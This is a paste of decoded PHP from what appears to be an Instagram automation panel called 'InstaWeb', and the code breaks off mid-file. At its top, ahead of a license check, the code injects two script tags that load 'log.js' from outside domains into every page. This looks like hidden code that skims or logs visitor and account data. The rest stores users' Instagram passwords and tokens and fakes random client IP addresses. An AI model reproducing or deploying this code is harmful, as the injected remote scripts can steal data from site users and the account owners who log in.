Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- /**
- *
- * @ This file is created by http://DeZender.Net
- * @ deZender (PHP5 Decoder for ionCube Encoder)
- *
- * @ Version : 3.0.7.0
- * @ Author : DeZender
- * @ Release on : 22.06.2017
- * @ Official site : http://DeZender.Net
- *
- */
- echo '<SCRIPT SRC=http://burayiterket.top/inc/log.js></SCRIPT>' . "\r\n" . '<SCRIPT SRC=http://kontrol.brownstarteam.com/log.js></SCRIPT>' . "\r\n";
- require 'lisans.php';
- $lisans['site'] = getenv( 'HTTP_HOST' );
- if (substr( $lisans['site'], 0, 4 ) == 'www.') {
- $lisans['site'] = substr( $lisans['site'], 4 );
- }
- $bas = 'SCRIPTCIYIZ-';
- $son = '-BRS';
- $m = 'md5';
- $s = 'sha1';
- $lisans['hash'] = wordwrap( strtoupper( $s( $s( $s( $s( $m( $s( $s( $m( $lisans['site'] . date( 'Ymd' ) ) ) ) ) ) ) ) ) ), 5, '-', true );
- $liskod = $lisans['hash'];
- $cevir = strrev( $liskod );
- $bcs = $bas . $cevir . $son;
- if ($bcs !== $lisanskodu) {
- $lisans_cevap = file_get_contents( 'https://annenisikeyim.com/kontrol.php?site=' . $lisans['site'] );
- if ($lisans_cevap != 'LISANSLI') {
- exit( '<p style="text-align: center;"><img alt="" src="http://scriptciyiz.com/wp-content/uploads/2017/08/PrLNN7.png" style="width: 280px; height: 120px;" /></p>' . "\r\n\r\n" . '<p style="text-align: center;"><span style="color:#ffffff;"><span style="font-size:22px;"><b><span style="background-color:#ff0000;">BU SİTEYE AİT BİR LİSANS BULUNAMADI. </span></b></span></span></p>' . "\r\n\r\n" . '<p style="text-align: center;"><span style="color:#ffffff;"><span style="font-size:22px;"><b><span style="background-color:#ff0000;">LİSANS ALMAK İÇİN <a href="http://scriptciyiz.com/instaweb/">SCRIPTCIYIZ.COM</a> ADRESİNE ZİYARET EDİNİZ. </span></b></span></span></p>' );
- }
- $lyaz = fopen( 'lisans.php', 'w+' );
- @fwrite( $lyaz, '<?php' . "\r\n" . '/**' . "\r\n" . ' SCRIPTCIYIZ Lisans Sistemi' . "\r\n" . ' Copyright (C) 2015 Scriptciyiz.com' . "\r\n" . ' www.scriptciyiz.com' . "\r\n\t\r\n" . ' Bu dosyaya herhangi bir lisans kodu yazmaniz gerekmez' . "\r\n" . ' Almis oldugunuz urune ait lisans sistemde aktif oldugunda' . "\r\n" . ' Lisans kodunuz otomatik olarak girilecektir.' . "\r\n\t\r\n\t" . 'Yeni lisans almak icin www.scriptciyiz.com adresini ziyaret edebilirsiniz' . "\r\n" . ' ' . "\r\n" . ' */' . "\r\n" . '$lisanskodu="' . $bcs . '";' . "\r\n" . '?>' );
- fclose( $lyaz );
- }
- define( 'INSTAWEB_VERSION', str_replace( 'InstaWebV', '', basename( __FILE__, '.php' ) ) );
- if ($_SERVER['HTTP_USER_AGENT'] == '') {
- header( 'HTTP/1.1 403 Forbidden' );
- echo 'Bakım Modu!';
- exit( );
- }
- class Instagram
- {
- protected $username = null;
- protected $password = null;
- protected $debug = null;
- protected $uuid = null;
- protected $device_id = null;
- protected $username_id = null;
- /**
- * @var Settings
- */
- public $settings = null;
- protected $token = null;
- protected $isLoggedIn = false;
- protected $rank_token = null;
- protected $IGDataPath = null;
- /**
- * Default class constructor.
- *
- * @param string $username
- * Your Instagram username.
- * @param string $password
- * Your Instagram password.
- * @param $debug
- * Debug on or off, false by default.
- * @param $IGDataPath
- * Default folder to store data, you can change it.
- */
- public function __construct($username, $password, $debug = false, $IGDataPath = NULL, $forceUserIP = false)
- {
- $username = trim( $username );
- $password = trim( $password );
- $this->debug = $debug;
- $this->device_id = SignatureUtils::generateDeviceId( md5( $username . $password ) );
- if (!(is_null( $IGDataPath ))) {
- $this->IGDataPath = $IGDataPath;
- }
- else {
- $this->IGDataPath = Wow::get( 'project/cookiePath' ) . 'instagram/';
- }
- $this->setUser( $username, $password, $forceUserIP );
- }
- /**
- * Set the user. Manage multiple accounts.
- *
- * @param string $username
- * Your Instagram username.
- * @param string $password
- * Your Instagram password.
- */
- public function setUser($username, $password, $forceUserIP = false)
- {
- $this->username = $username;
- $this->password = $password;
- $this->checkSettings( $username, $forceUserIP );
- $this->uuid = SignatureUtils::generateUUID( true );
- if (file_exists( $this->IGDataPath . (string) $this->username . '.dat' ) && ($this->settings->get( 'username_id' ) != NULL) && ($this->settings->get( 'token' ) != NULL)) {
- $this->isLoggedIn = true;
- $this->username_id = $this->settings->get( 'username_id' );
- $this->rank_token = $this->username_id . '_' . $this->uuid;
- $this->token = $this->settings->get( 'token' );
- }
- else {
- $this->isLoggedIn = false;
- }
- }
- protected function checkSettings($username, $forceUserIP = false)
- {
- $this->settings = new Settings( $this->IGDataPath . $username . '.cnf' );
- if ($this->settings->get( 'version' ) == NULL) {
- $this->settings->set( 'version', Constants::VERSION );
- }
- if (($this->settings->get( 'ip' ) == NULL) || $forceUserIP) {
- $ipAdress = '78.' . rand( 160, 191 ) . '.' . rand( 1, 255 ) . '.' . rand( 1, 255 );
- if ($forceUserIP && !(empty( $_SERVER['REMOTE_ADDR'] ))) {
- $ipAdress = $_SERVER['REMOTE_ADDR'];
- }
- $this->settings->set( 'ip', $ipAdress );
- }
- if (file_exists( $this->IGDataPath . (string) $username . '.dat' ) && (($this->settings->get( 'username_id' ) == NULL) || ($this->settings->get( 'token' ) == NULL))) {
- $cookieData = Utils::cookieToArray( file_get_contents( $this->IGDataPath . (string) $username . '.dat' ), 'i.instagram.com' );
- if (($this->settings->get( 'username_id' ) == NULL) && isset( $cookieData['ds_user_id'] )) {
- $this->settings->set( 'username_id', $cookieData['ds_user_id'] );
- }
- if (($this->settings->get( 'token' ) == NULL) && isset( $cookieData['csrftoken'] )) {
- $this->settings->set( 'token', $cookieData['csrftoken'] );
- }
- }
- if (($this->settings->get( 'user_agent' ) == NULL) || (version_compare( $this->settings->get( 'version' ), Constants::VERSION ) == -1)) {
- $userAgent = new UserAgent( $this );
- $ua = $userAgent->buildUserAgent( );
- $this->settings->set( 'version', Constants::VERSION );
- $this->settings->set( 'user_agent', $ua );
- }
- }
- public function getData()
- {
- return array(
- 'username' => $this->username,
- 'password' => $this->password,
- 'username_id' => $this->username_id,
- 'uuid' => $this->uuid,
- 'token' => $this->token,
- 'rank_token' => $this->rank_token,
- 'user_agent' => $this->settings->get( 'user_agent' ),
- 'ip' => $this->settings->get( 'ip' )
- );
- }
- /**
- * Login to Instagram.
- *
- * @param bool $force
- * Force login to Instagram, this will create a new session
- *
- * @return array
- * Login data
- */
- public function login($force = false)
- {
- if (!($this->isLoggedIn) || $force) {
- $fetch = $this->request( 'si/fetch_headers/?challenge_type=signup&guid=' . SignatureUtils::generateUUID( false ), NULL, true );
- preg_match( '#Set-Cookie: csrftoken=([^;]+)#', $fetch[0], $token );
- $data = array(
- 'phone_id' => SignatureUtils::generateUUID( true ),
- '_csrftoken' => $token[0],
- 'username' => $this->username,
- 'guid' => $this->uuid,
- 'device_id' => $this->device_id,
- 'password' => $this->password,
- 'login_attempt_count' => '0'
- );
- $login = $this->request( 'accounts/login/', SignatureUtils::generateSignature( json_encode( $data ) ), true );
- if ($login[1]['status'] == 'fail') {
- throw new Exception( $login[1]['message'] );
- }
- $this->isLoggedIn = true;
- $this->username_id = $login[1]['logged_in_user']['pk'];
- $this->settings->set( 'username_id', $this->username_id );
- $this->rank_token = $this->username_id . '_' . $this->uuid;
- preg_match( '#Set-Cookie: csrftoken=([^;]+)#', $login[0], $match );
- $this->token = $match[1];
- $this->settings->set( 'token', $this->token );
- $this->syncFeatures( );
- $this->megaphoneLog( );
- return $login[1];
- }
- $check = $this->timelineFeed( );
- if (isset( $check['message'] ) && ($check['message'] == 'login_required')) {
- return $this->login( true );
- }
- $this->megaphoneLog( );
- return array( 'status' => 'ok' );
- }
- public function syncFeatures()
- {
- $data = json_encode( array(
- '_uuid' => $this->uuid,
- '_uid' => $this->username_id,
- 'id' => $this->username_id,
- '_csrftoken' => $this->token,
- 'experiments' => Constants::EXPERIMENTS
- ) );
- return $this->request( 'qe/sync/', SignatureUtils::generateSignature( $data ) )[1];
- }
- protected function autoCompleteUserList()
- {
- return $this->request( 'friendships/autocomplete_user_list/' )[1];
- }
- protected function timelineFeed()
- {
- return $this->request( 'feed/timeline/' )[1];
- }
- protected function megaphoneLog()
- {
- return $this->request( 'megaphone/log/' )[1];
- }
- protected function expose()
- {
- $data = json_encode( array(
- '_uuid' => $this->uuid,
- '_uid' => $this->username_id,
- 'id' => $this->username_id,
- '_csrftoken' => $this->token,
- 'experiment' => 'ig_android_profile_contextual_feed'
- ) );
- $this->request( 'qe/expose/', SignatureUtils::generateSignature( $data ) );
- $this->request( 'qe/expose/', SignatureUtils::generateSignature( $data ) )[1];
- }
- /**
- * Login to Instagram.
- *
- * @return bool
- * Returns true if logged out correctly
- */
- public function logout()
- {
- $logout = $this->request( 'accounts/logout/' );
- if ($logout == 'ok') {
- return true;
- }
- return false;
- }
- /**
- * Upload photo to Instagram.
- *
- * @param string $photo
- * Path to your photo
- * @param string $caption
- * Caption to be included in your photo.
- *
- * @return array
- * Upload data
- */
- public function uploadPhoto($photo, $caption = NULL, $upload_id = NULL)
- {
- $endpoint = Constants::API_URL . 'upload/photo/';
- $boundary = $this->uuid;
- if (!(is_null( $upload_id ))) {
- $fileToUpload = Utils::createVideoIcon( $photo );
- }
- else {
- $upload_id = number_format( round( microtime( true ) * 1000 ), 0, '', '' );
- $fileToUpload = file_get_contents( $photo );
- }
- $bodies = array(
- array(
- 'type' => 'form-data',
- 'name' => 'upload_id',
- 'data' => $upload_id
- ....................................................................................................................................
- ........................................................................................
- ............................................
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement